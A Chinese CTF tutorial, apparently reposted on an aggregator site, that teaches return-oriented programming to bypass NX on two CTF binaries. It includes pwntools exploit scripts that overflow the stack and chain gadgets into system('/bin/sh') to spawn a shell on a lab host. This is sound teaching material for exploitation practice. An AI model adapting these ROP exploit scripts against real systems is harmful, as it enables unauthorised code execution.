CTF必备技能丨Linux Pwn入门教程——ROP技术(上)
Linux Pwn入門(mén)教程系列分享如約而至,本套課程是作者依據(jù)i春秋Pwn入門(mén)課程中的技術(shù)分類(lèi),并結(jié)合近幾年賽事中出現(xiàn)的題目和文章整理出一份相對(duì)完整的Linux Pwn教程。
教程僅針對(duì)i386/amd64下的Linux Pwn常見(jiàn)的Pwn手法,如棧,堆,整數(shù)溢出,格式化字符串,條件競(jìng)爭(zhēng)等進(jìn)行介紹,所有環(huán)境都會(huì)封裝在Docker鏡像當(dāng)中,并提供調(diào)試用的教學(xué)程序,來(lái)自歷年賽事的原題和帶有注釋的python腳本。
課程回顧>>
Linux Pwn入門(mén)教程第一章:環(huán)境配置
Linux Pwn入門(mén)教程第二章:棧溢出基礎(chǔ)
Linux Pwn入門(mén)教程第三章:ShellCode
教程中的題目和腳本若有使用不妥之處,歡迎各位大佬批評(píng)指正。
基于前面幾期的內(nèi)容分享,小伙伴在后臺(tái)給出了很多好評(píng),同時(shí)也提出了文章篇幅縮短的建議,經(jīng)調(diào)整后第四章內(nèi)容分為上下兩篇,今天分享的是Linux Pwn入門(mén)教程:ROP技術(shù)(上),閱讀用時(shí)約10分鐘。
背景
在上一篇教程的《shellcode的變形》一節(jié)中,我們提到過(guò)內(nèi)存頁(yè)的RWX三種屬性。顯然,如果某一頁(yè)內(nèi)存沒(méi)有可寫(xiě)(W)屬性,我們就無(wú)法向里面寫(xiě)入代碼,如果沒(méi)有可執(zhí)行(X)屬性,寫(xiě)入到內(nèi)存頁(yè)中的ShellCode就無(wú)法執(zhí)行。
關(guān)于這個(gè)特性的實(shí)驗(yàn)在此不做展開(kāi),大家可以嘗試在調(diào)試時(shí)修改EIP和read( )/scanf( )/gets( )等函數(shù)的參數(shù)來(lái)觀察操作無(wú)對(duì)應(yīng)屬性?xún)?nèi)存的結(jié)果。那么我們?cè)趺纯茨硞€(gè)ELF文件中是否有RWX內(nèi)存頁(yè)呢?首先我們可以在靜態(tài)分析和調(diào)試中使用IDA的快捷鍵Ctrl + S
或者同上一篇教程中的方法,使用Pwntools自帶的checksec命令檢查程序是否帶有RWX段。當(dāng)然,由于程序可能在運(yùn)行中調(diào)用mprotect( ), mmap( )等函數(shù)動(dòng)態(tài)修改或分配具有RWX屬性的內(nèi)存頁(yè),以上方法均可能存在誤差。
既然攻擊者們能想到在RWX段內(nèi)存頁(yè)中寫(xiě)入ShellCode并執(zhí)行,防御者們也能想到,因此,一種名為NX位(No eXecute bit)的技術(shù)出現(xiàn)了。這是一種在CPU上實(shí)現(xiàn)的安全技術(shù),這個(gè)位將內(nèi)存頁(yè)以數(shù)據(jù)和指令兩種方式進(jìn)行了分類(lèi)。被標(biāo)記為數(shù)據(jù)頁(yè)的內(nèi)存頁(yè)(如棧和堆)上的數(shù)據(jù)無(wú)法被當(dāng)成指令執(zhí)行,即沒(méi)有X屬性。由于該保護(hù)方式的使用,之前直接向內(nèi)存中寫(xiě)入ShellCode執(zhí)行的方式顯然失去了作用。因此,我們就需要學(xué)習(xí)一種著名的繞過(guò)技術(shù)——ROP(Return-Oriented Programming, 返回導(dǎo)向編程)
顧名思義,ROP就是使用返回指令ret連接代碼的一種技術(shù)(同理還可以使用jmp系列指令和call指令,有時(shí)候也會(huì)對(duì)應(yīng)地成為JOP/COP)。一個(gè)程序中必然會(huì)存在函數(shù),而有函數(shù)就會(huì)有ret指令。我們知道,ret指令的本質(zhì)是pop eip,即把當(dāng)前棧頂?shù)膬?nèi)容作為內(nèi)存地址進(jìn)行跳轉(zhuǎn)。
而ROP就是利用棧溢出在棧上布置一系列內(nèi)存地址,每個(gè)內(nèi)存地址對(duì)應(yīng)一個(gè)gadget,即以ret/jmp/call等指令結(jié)尾的一小段匯編指令,通過(guò)一個(gè)接一個(gè)的跳轉(zhuǎn)執(zhí)行某個(gè)功能。由于這些匯編指令本來(lái)就存在于指令區(qū),肯定可以執(zhí)行,而我們?cè)跅I蠈?xiě)入的只是內(nèi)存地址,屬于數(shù)據(jù),所以這種方式可以有效繞過(guò)NX保護(hù)。
使用ROP調(diào)用got表中函數(shù)
首先我們來(lái)看一個(gè)x86下的簡(jiǎn)單ROP,我們將通過(guò)這里例子演示如何調(diào)用一個(gè)存在于got表中的函數(shù)并控制其參數(shù)。我們打開(kāi)~/RedHat 2017-pwn1/pwn1。可以很明顯看到main函數(shù)存在棧溢出:
變量v1的首地址在bp-28h處,即變量在棧上,而輸入使用的__isoc99_scanf不限制長(zhǎng)度,因此我們的過(guò)長(zhǎng)輸入將會(huì)造成棧溢出。
程序開(kāi)啟了NX保護(hù),所以顯然我們不可能用shellcode打開(kāi)一個(gè)shell。根據(jù)之前文章的思路,我們很容易想到要調(diào)用system函數(shù)執(zhí)行system(“/bin/sh”)。那么我們從哪里可以找到system和“/bin/sh”呢?
第一個(gè)問(wèn)題,我們知道使用動(dòng)態(tài)鏈接的程序?qū)霂?kù)函數(shù)的話,我們可以在GOT表和PLT表中找到函數(shù)對(duì)應(yīng)的項(xiàng)(稍后的文章中我們將詳細(xì)解釋?zhuān)LD(zhuǎn)到.got.plt段,我們發(fā)現(xiàn)程序里居然導(dǎo)入了system函數(shù)。
解決了第一個(gè)問(wèn)題之后我們就需要考慮第二個(gè)問(wèn)題。通過(guò)對(duì)程序的搜索我們沒(méi)有發(fā)現(xiàn)字符串“/bin/sh”,但是程序里有__isoc99_scanf,我們可以調(diào)用這個(gè)函數(shù)來(lái)讀取“/bin/sh”字符串到進(jìn)程內(nèi)存中。下面我們來(lái)開(kāi)始構(gòu)建ROP鏈。
首先我們考慮一下“/bin/sh”字符串應(yīng)該放哪。通過(guò)調(diào)試時(shí)按Ctrl+S快捷鍵查看程序的內(nèi)存分段,我們看到0x0804a030開(kāi)始有個(gè)可讀可寫(xiě)的大于8字節(jié)的地址,且該地址不受ASLR影響,我們可以考慮把字符串讀到這里。
接下來(lái)我們找到__isoc99_scanf的另一個(gè)參數(shù)“%s”,位于0x08048629
接著我們使用pwntools的功能獲取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代碼,將EIP劫持到某個(gè)函數(shù)的PLT表項(xiàng)中我們可以直接調(diào)用該函數(shù)。我們知道,對(duì)于x86的應(yīng)用程序來(lái)說(shuō),其參數(shù)從右往左入棧。因此,現(xiàn)在我們就可以構(gòu)建出一個(gè)ROP鏈。
`from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read( )
io.sendline(shellcode1)
io.sendline(“/bin/sh”)
通過(guò)調(diào)試我們可以看到,當(dāng)EIP指向retn時(shí),棧上的數(shù)據(jù)和我們的預(yù)想一樣,棧頂是plt表中__isoc99_scanf的首地址,緊接著是兩個(gè)參數(shù)。我們繼續(xù)跟進(jìn)執(zhí)行,在libc中執(zhí)行一會(huì)兒之后,我們收到了一個(gè)錯(cuò)誤,這是為什么呢?
我們回顧一下之前的內(nèi)容。我們知道call指令會(huì)將call指令的下一條指令地址壓入棧中,當(dāng)被call調(diào)用的函數(shù)運(yùn)行結(jié)束后,ret指令就會(huì)取出被call指令壓入棧中的地址傳輸給EIP。
但是在這里我們繞過(guò)call直接調(diào)用了__isoc99_scanf,沒(méi)有像call指令一樣向棧壓入一個(gè)地址。此時(shí)函數(shù)認(rèn)為返回地址是緊接著scanf_addr的format_s,而第一個(gè)參數(shù)就變成了binsh_addr`
call調(diào)用函數(shù)的情況
08048557 mov [esp+4], eax
0804855B mov dword ptr [esp], offset unk_8048629
08048562 call ___isoc99_scanf
08048567 lea eax, [esp+18h]
08048580 leave
08048581 retn ; pop eip
F7E22610 __isoc99_scanf:
F7E22610 push ebp
F7E22611 mov ebp, esp
從兩種調(diào)用方式的比較上我們可以看到,由于少了call指令的壓棧操作,如果我們?cè)诓贾脳5臅r(shí)候不模擬出一個(gè)壓入棧中的地址,被調(diào)用函數(shù)的取到的參數(shù)就是錯(cuò)位的。所以我們需要改良一下ROP鏈。根據(jù)上面的描述,我們應(yīng)該在參數(shù)和保存的EIP中間放置一個(gè)執(zhí)行完的返回地址。鑒于我們調(diào)用scanf讀取字符串后還要調(diào)用system函數(shù),我們讓__isoc99_scanf執(zhí)行完后再次返回到main函數(shù)開(kāi)頭,以便于再執(zhí)行一次棧溢出。改良后的ROP鏈如下:
from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += main_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”)
我們?cè)俅芜M(jìn)行調(diào)試,發(fā)現(xiàn)這回成功調(diào)用__isoc99_scanf把“/bin/sh”字符串讀取到地址0x0804a030處:
此時(shí)程序再次從main函數(shù)開(kāi)始執(zhí)行。由于棧的狀態(tài)發(fā)生了改變,我們需要重新計(jì)算溢出的字節(jié)數(shù)。然后再次利用ROP鏈調(diào)用system執(zhí)行system(“/bin/sh”),這個(gè)ROP鏈可以模仿上一個(gè)寫(xiě)出來(lái),完整的腳本也可以在對(duì)應(yīng)文件夾中找到,此處不再贅述。
接下來(lái)讓我們來(lái)看看64位下如何使用ROP調(diào)用got表中的函數(shù)。我們打開(kāi)文件~/bugs bunny ctf 2017-pwn150/pwn150,很容易就可以發(fā)現(xiàn)溢出出現(xiàn)在Hello( )里
和上一個(gè)例子一樣,由于程序開(kāi)啟了NX保護(hù),我們必須找到system函數(shù)和“/bin/sh”字符串。程序在main函數(shù)中調(diào)用了自己定義的一個(gè)叫today的函數(shù),執(zhí)行了system(“/bin/date”),那么system函數(shù)就有了。至于“/bin/sh”字符串,雖然程序中沒(méi)有,但是我們找到了“sh”字符串,利用這個(gè)字符串其實(shí)也可以開(kāi)shell。
現(xiàn)在我們有了棧溢出點(diǎn),有了system函數(shù),有了字符串“sh”,可以嘗試開(kāi)shell了。首先我們要解決傳參數(shù)的問(wèn)題。和x86不同,在x64下通常參數(shù)從左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出來(lái)的參數(shù)才會(huì)入棧(根據(jù)調(diào)用約定的方式可能有不同,通常是這樣),因此,我們就需要一個(gè)給RDI賦值的辦法。由于我們可以控制棧,根據(jù)ROP的思想,我們需要找到的就是pop rdi; ret,前半段用于賦值rdi,后半段用于跳到其他代碼片段。
有很多工具可以幫我們找到ROP gadget,例如Pwntools自帶的ROP類(lèi),ROPgadget、rp++、ropeme等。在這里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)
通過(guò)ROPgadget --binary 指定二進(jìn)制文件,使用grep在輸出的所有g(shù)adgets中尋找需要的片段。
這里有一個(gè)小trick。首先,我們看一下IDA中這個(gè)地址的內(nèi)容。
我們可以發(fā)現(xiàn)并沒(méi)有0x400883這個(gè)地址,0x400882是pop r15, 接下來(lái)就是0x400884的retn,那么這個(gè)pop rdi會(huì)不會(huì)是因?yàn)镽OPgadget出bug了呢?別急,我們選擇0x400882,按快捷鍵D轉(zhuǎn)換成數(shù)據(jù)。
然后選擇0x400883按C轉(zhuǎn)換成代碼
我們可以看出來(lái)pop rdi實(shí)際上是pop r15的“一部分”。這也再次驗(yàn)證了匯編指令不過(guò)是一串可被解析為合法opcode的數(shù)據(jù)的別名。只要對(duì)應(yīng)的數(shù)據(jù)所在內(nèi)存可執(zhí)行,能被轉(zhuǎn)成合法的opcode,跳轉(zhuǎn)過(guò)去都是不會(huì)有問(wèn)題的。
現(xiàn)在我們已經(jīng)準(zhǔn)備好了所有東西,可以開(kāi)始構(gòu)建ROP鏈了。這回我們直接調(diào)用call system指令,省去了手動(dòng)往棧上補(bǔ)返回地址的環(huán)節(jié),腳本如下:
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
call_system = 0x40075f #call system指令在內(nèi)存中的位置
binsh = 0x4003ef #字符串"sh"在內(nèi)存中的位置
pop_rdi = 0x400883 #pop rdi; retn
payload = ""
payload += "A"*88 #padding
payload += p64(pop_rdi)
payload += p64(binsh) #rdi指向字符串"sh"
payload += p64(call_system) #調(diào)用system執(zhí)行system("sh")
io.sendline(payload)
io.interactive()
進(jìn)行調(diào)試,發(fā)現(xiàn)開(kāi)shell成功。
retn跳轉(zhuǎn)到0x400883處的gadget:pop rdi; ret
pop rdi將“sh”字符串所在地址0x4003ef賦值給rdi
retn跳轉(zhuǎn)到call system處。
以上是今天的內(nèi)容,大家看懂了嗎?后面我們將持續(xù)更新Linux Pwn入門(mén)教程的相關(guān)章節(jié),希望大家及時(shí)關(guān)注。
總結(jié)
以上是生活随笔為你收集整理的CTF必备技能丨Linux Pwn入门教程——ROP技术(上)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: ccxprocess启动项可以禁用么_M
- 下一篇: netsh interface port